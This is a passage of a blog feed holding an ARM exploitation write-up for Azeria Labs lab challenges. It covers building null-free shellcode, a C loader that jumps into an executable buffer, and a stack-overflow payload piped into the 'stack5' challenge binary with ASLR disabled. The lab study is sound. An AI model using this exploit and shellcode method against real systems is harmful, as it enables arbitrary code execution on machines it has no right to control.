&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;beq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;Lchild&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="c1"&gt;; code for parent or error follows&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='CkJ5cGFzc2luZyB0aGUgZmlsdGVycyBjYW4gYmUgaW5jcmVkaWJsZSBjb21wbGV4LiBIZXJlIGlzIGFydGljbGUgYWJvdXQKW0FscGhhbnVtZXJpYyBSSVNDIEFSTSBTaGVsbGNvZGVdKGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDIwKi9odHRwOi8vd3d3LnBocmFjay5vcmcvaXNzdWVzLzY2LzEyLmh0bWwpLgptYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkJ5cGFzc2luZyB0aGUgZmlsdGVycyBjYW4gYmUgaW5jcmVkaWJsZSBjb21wbGV4LiBIZXJlIGlzIGFydGljbGUgYWJvdXQKW0FscGhhbnVtZXJpYyBSSVNDIEFSTSBTaGVsbGNvZGVdKGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDIwKi9odHRwOi8vd3d3LnBocmFjay5vcmcvaXNzdWVzLzY2LzEyLmh0bWwpLgptYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Bypassing the filters can be incredible complex. Here is article about &lt;a href="https://web.archive.org/web/2020*/http://www.phrack.org/issues/66/12.html"&gt;Alphanumeric RISC ARM Shellcode&lt;/a&gt;.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;beq&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; has a 0x0a as the first byte so we have to rewrite the snippet to:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;bne&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;Lparent_or_error&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;Lchild&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="compilation"&gt;Compilation&lt;/h2&gt;
&lt;p&gt;We compile the assembly into an object file with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;gcc&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (in a Raspbian) and then we extract the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;.text&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; section:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;gcc&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;egg.o&lt;span class="w"&gt; &lt;/span&gt;egg.s
pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;objcopy&lt;span class="w"&gt; &lt;/span&gt;-O&lt;span class="w"&gt; &lt;/span&gt;binary&lt;span class="w"&gt; &lt;/span&gt;--only-section&lt;span class="o"&gt;=&lt;/span&gt;.text&lt;span class="w"&gt; &lt;/span&gt;egg.o&lt;span class="w"&gt; &lt;/span&gt;egg.text
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The assembly can be found &lt;a href="/assets/arm/azeria-arm-challenges/egg.s"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="testing"&gt;Testing&lt;/h2&gt;
&lt;p&gt;It is always a good idea to test the shellcode &lt;em&gt;separately&lt;/em&gt; from the exploitation.&lt;/p&gt;
&lt;p&gt;For this &lt;a href="/assets/arm/azeria-arm-challenges/test-egg.c"&gt;we can create a small C program&lt;/a&gt; to load the &lt;em&gt;egg&lt;/em&gt; from a file into a buffer with &lt;em&gt;permission for execution&lt;/em&gt; and then jump into it:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;posix_memalign&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ALIGN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fsize&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;fread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fsize&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;mprotect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fsize&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PROT_READ&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;PROT_WRITE&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;PROT_EXEC&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)())&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This is an example:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;./test-egg&lt;span class="w"&gt; &lt;/span&gt;egg.text
Egg&lt;span class="w"&gt; &lt;/span&gt;loaded&lt;span class="w"&gt; &lt;/span&gt;at&lt;span class="w"&gt; &lt;/span&gt;0x24000-0x2409
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='ClRoZSBgZ29vZGAgYW5kIGBiYWRgIGxhYmVscyB3ZXJlIHB1dCBieSBtZS4gU29ycnksIGBzdHJhY2Vgey5jcHB9IGlzIG5vdCBzbyBzbWFydC4KbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRoZSBgZ29vZGAgYW5kIGBiYWRgIGxhYmVscyB3ZXJlIHB1dCBieSBtZS4gU29ycnksIGBzdHJhY2Vgey5jcHB9IGlzIG5vdCBzbyBzbWFydC4KbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;good&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;bad&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; labels were put by me. Sorry, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;strace&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is not so smart.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;If the things don’t result as expected, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;strace&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; can be useful to inspect what syscalls are being called and with which parameters:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;pi&lt;/span&gt;&lt;span class="nd"&gt;@raspberrypi&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt; &lt;span class="n"&gt;strace&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;./&lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;egg&lt;/span&gt; &lt;span class="n"&gt;egg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;
&lt;span class="o"&gt;....&lt;/span&gt;
&lt;span class="n"&gt;strace&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Process&lt;/span&gt; &lt;span class="mi"&gt;4959&lt;/span&gt; &lt;span class="n"&gt;attached&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;---&lt;/span&gt; &lt;span class="n"&gt;child&lt;/span&gt; &lt;span class="n"&gt;process&lt;/span&gt;
&lt;span class="n"&gt;execve&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/bin/bash&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x6e69622f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x666f&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x2407f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;EFAULT&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Bad&lt;/span&gt; &lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
           &lt;span class="o"&gt;^&lt;/span&gt;            &lt;span class="o"&gt;^&lt;/span&gt;
         &lt;span class="n"&gt;good&lt;/span&gt;          &lt;span class="n"&gt;bad&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="search-a-home"&gt;Search a home&lt;/h2&gt;
&lt;p&gt;Fortunately the stack is executable:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;vmmap&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10000&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0x11000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;xp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;pi&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;stack5&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x20000&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0x21000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rwxp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;pi&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;stack5&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;xb6fcc000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xb6fec000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;xp&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;20000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;arm&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;gnueabihf&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;ld&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;2.28&lt;/span&gt;&lt;span class="nv"&gt;.so&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;xb6ffc000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xb6ffe000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rwxp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;2000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;20000&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;arm&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;gnueabihf&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;ld&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;2.28&lt;/span&gt;&lt;span class="nv"&gt;.so&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;xb6fff000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xb7000000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;xp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;sigpage&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;xbefdf000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xbf000000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rwxp&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;21000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;stack&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;xffff0000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xffff1000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;xp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;vectors&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We can write the egg in the stack and then jump to it. The content of the stack should be:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/arm/azeria-arm-challenges/stack.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;addr1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;sp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. But what value is?&lt;/p&gt;
&lt;p&gt;If we disable ASLR we can peek the value with a debugger: 0xbefffbb8&lt;/p&gt;
&lt;h2 id="the-attack"&gt;The attack&lt;/h2&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-ne&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb8\xfb\xff\xbe&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;exploit
pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;egg.text&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;exploit

pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;rm&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;pwned_proof

pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;setarch&lt;span class="w"&gt; &lt;/span&gt;linux32&lt;span class="w"&gt; &lt;/span&gt;--addr-no-randomize&lt;span class="w"&gt; &lt;/span&gt;/bin/bash

&lt;span class="o"&gt;(&lt;/span&gt;aslr&lt;span class="w"&gt; &lt;/span&gt;disabled&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;exploit&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;./stack5
&lt;span class="o"&gt;(&lt;/span&gt;aslr&lt;span class="w"&gt; &lt;/span&gt;disabled&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$?&lt;/span&gt;
&lt;span class="m"&gt;0&lt;/span&gt;

&lt;span class="o"&gt;(&lt;/span&gt;aslr&lt;span class="w"&gt; &lt;/span&gt;disabled&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;pwned_proof
pwn!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The assembly of the egg can be found &lt;a href="/assets/arm/azeria-arm-challenges/egg.s"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="readings"&gt;Readings&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://web.archive.org/web/2020*/http://www.phrack.org/issues/58/10.html#article"&gt;Developing StrongARM/Linux shellcode&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://azeria-labs.com/return-oriented-programming-arm32/"&gt;Introduction to ROP on Arm32&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://azeria-labs.com/writing-arm-shellcode/"&gt;Introduction to Writing ARM Shellcode&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/01/26/Smashing-ARM-Stack-for-Fun-Part-VI.html" rel="alternate" type="text/html" title="Smashing ARM Stack for Fun - Part VI"/>
    <category term="reversing" label="reversing"/>
    <category term="exploiting" label="exploiting"/>
    <category term="ARM" label="ARM"/>
    <category term="iasm" label="iasm"/>
    <category term="azeria-labs" label="azeria-labs"/>
    <category term="egg" label="egg"/>
    <category term="shellcode" label="shellcode"/>
    <category term="PIC" label="PIC"/>
    <published>2021-01-26T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/01/20/Smashing-ARM-Stack-for-Fun-Part-V.html</id>
    <title>Smashing ARM Stack for Fun - Part V</title>
    <updated>2021-01-20T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;&lt;a href="https://github.com/azeria-labs/ARM-challenges"&gt;Fifth challenge&lt;/a&gt; with a small introduction to &lt;em&gt;process continuation&lt;/em&gt;.&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="planning-the-exploit"&gt;Planning the exploit&lt;/h2&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pdisass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;►&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10464&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nv"&gt;push&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;lr&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10468&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;add&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1046c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x48&lt;/span&gt;
